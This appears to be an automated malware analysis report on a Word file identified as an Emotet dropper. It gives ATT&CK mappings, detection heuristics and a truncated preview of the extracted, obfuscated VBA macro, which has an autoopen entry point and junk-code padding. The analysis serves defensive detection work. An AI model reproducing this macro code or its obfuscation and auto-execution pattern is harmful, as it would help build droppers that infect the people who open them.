MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1137.001 Office Application Startup
T1218.011 Signed Binary Proxy Execution: Rundll32
The sample contains VBA macros with an AutoOpen function, a common characteristic of Emotet. Critical heuristics indicate the use of WMI to launch processes and obfuscation techniques for API names like 'winmgmts'. The ClamAV signature also explicitly identifies it as Emotet. The VBA script likely downloads and executes a second-stage payload.
Heuristics 8
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ClamAV: Doc.Dropper.Emotet-6960223-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Emotet-6960223-0
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VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
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Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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GetObject call high OLE_VBA_GETOBJGetObject call
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9201 bytes |
SHA-256: c3183ded15217a12081707e16167b0c223d52a12137d99d343ab797271373468 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vZQBAXDA"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "rBXBAw"
Attribute VB_Base = "0{DA881A5D-0836-41DC-AEB2-A125F0175BA1}{D4B0A26D-D51C-4919-BF00-92AD42DAA9D3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "mAwkQo_"
Attribute VB_Name = "VxZ4ZUDD"
Attribute VB_Name = "roA__U"
Attribute VB_Name = "PZUxGAA"
Attribute VB_Base = "0{CC7D7E51-64C9-4260-859B-37869BA4B74A}{22AA04A1-E257-4F6E-9D53-4273588B9F0D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "RAkQZCBw"
Function zAAcAAok(XXwBU_)
Select Case wwAxBADX
Case sAxBAAQ = i1CUkZ = Sgn(550058908)
Case EAxUBZo = IkAACcZB
Case zAxB_AkA = Log(hZ1BcDAZ)
Case bcAwUAA = CBool(601425413)
Case uBUoADDG = 578024120
Case sB4AAB4D = CDate(ADUAxZQ)
End Select
Select Case oUAAAU
Case l1AB_D = nwZ41AB = Sgn(797824526)
Case LAAAxDAw = iBDUoo
Case CAQA_GD = Log(PUAAAA)
Case Cc1ACkw = CBool(256259059)
Case KAAAAZ = 63024513
Case GA_ADA = CDate(bGoAAAw)
End Select
Select Case fBAcAw
Case mCAo_Ax = WGAQ_QU = Sgn(899597438)
Case DUxAAG = DUCAB_
Case EQAZAZC = Log(FAAAxCD)
Case qAAwXX = CBool(186977685)
Case d_UkDZC_ = 151233042
Case KBAAAC = CDate(DAQBDA)
End Select
Set zAAcAAok = CVar(XXwBU_)
Select Case zAA1DQoA
Case fcAcBoU = FAUDAoBA = Sgn(656225116)
Case iUckBU = P1kAAG
Case rDBQ1Q4k = Log(w1AwkwB)
Case KcAAoA_U = CBool(611319429)
Case YAAXxAA = 887026783
Case ooAAAGAA = CDate(uQcUGXwC)
End Select
Select Case h4xA1AGc
Case swxwABA1 = jAAoAAAA = Sgn(301982635)
Case IBDDAADG = wZcoAZA
Case GAwXXw = Log(hAUAGA)
Case iCoAAAAA = CBool(361250033)
Case qxAGXQcQ = 923882045
Case ukCAUZx = CDate(IAXAQA)
End Select
Select Case icQXD_
Case MBUQ1AD = wkA_1GBA = Sgn(243527934)
Case sZAAUAXA = EGo_oowk
Case KoBBAk4 = Log(LkBUAQ)
Case oABA4QB = CBool(877241998)
Case AUQACA = 171351521
Case wwGBBAAk = CDate(wkCAU_)
End Select
End Function
Sub autoopen()
Select Case cBAoGQw
Case tAUo4cGx = IAA_4A = Sgn(196025023)
Case dDZABA4w = YDAAAA
Case PZAABAo = Log(mUAA_k1)
Case TxBBxQB = CBool(991855700)
Case lkA1AGoX = 272388466
Case XAA4BBAU = CDate(HBAAAA)
End Select
Select Case XUAABQA
Case NwQQGA = qAZ1AD = Sgn(944438535)
Case jAAQ1ADQ = zQAUUUX
Case wDUUDDQ = Log(FxAD1A)
Case uZCCAcwA = CBool(68302783)
Case EDBwc_ = 100047039
Case KAAQAwGA = CDate(MoBUAUA)
End Select
Call iDAcAA_
Select Case m_ABACU
Case ZkA_CXA = pAkAAA = Sgn(972134484)
Case K1k4QA1A = MAA_AQ
Case jAA41oC = Log(V1UABG)
Case cAoDAXA = CBool(87970600)
Case PAADoAGD = 811506297
Case zwGABoA = CDate(TwAcXk)
End Select
Select Case zwcU4w
Case jAAAwAA4 = kAAwwXA = Sgn(187444709)
Case a4UAXUA = RQA1AD
Case MD__AU = Log(QAAcQ_)
Case jAxAZCBw = CBool(151680405)
Case FD4UkQkG = 90864516
Case nAZUokU1 = CDate(H44cAAB1)
End Select
Select Case pBBX4BZ_
Case IcZXABQ = zAZBBU = Sgn(564969840)
Case SZoAAxok = cADQCUG
Case JCwAAAG = Log(AcQAAA)
Case nAw_ACA = CBool(160149357)
Case vABAXAXZ = 755378081
Case zBAZ4Dw = CDate(cAA4AUA)
End Select
End Sub
Attribute VB_Name = "iAA4QAAo"
Function iDAcAA_()
On Error Resume Next
Select Case zGBA1Ao
Case tkBACZAA = FDDAD_ = Sgn(631693264)
Case CBXGkB_ = QCAcBC
Case PZAAAAGX = Log(vAwDAAU)
Case j_AAZA = CBool(264781617)
Case zkAkGBA = 139097869
Case uwZZ_xQ = CDate(w1cB4QUA)
End Select
Select Case MUAQ_Bx
Case i_cDBA4A = tUAAwAX = Sgn(980031380)
Case rUQAAD1B = n1xcA1B
Case w_QAAA = Log(EBZAoBAk)
Case c_XZxAA4 = CBool(575324403)
Case NCGD
... (truncated)
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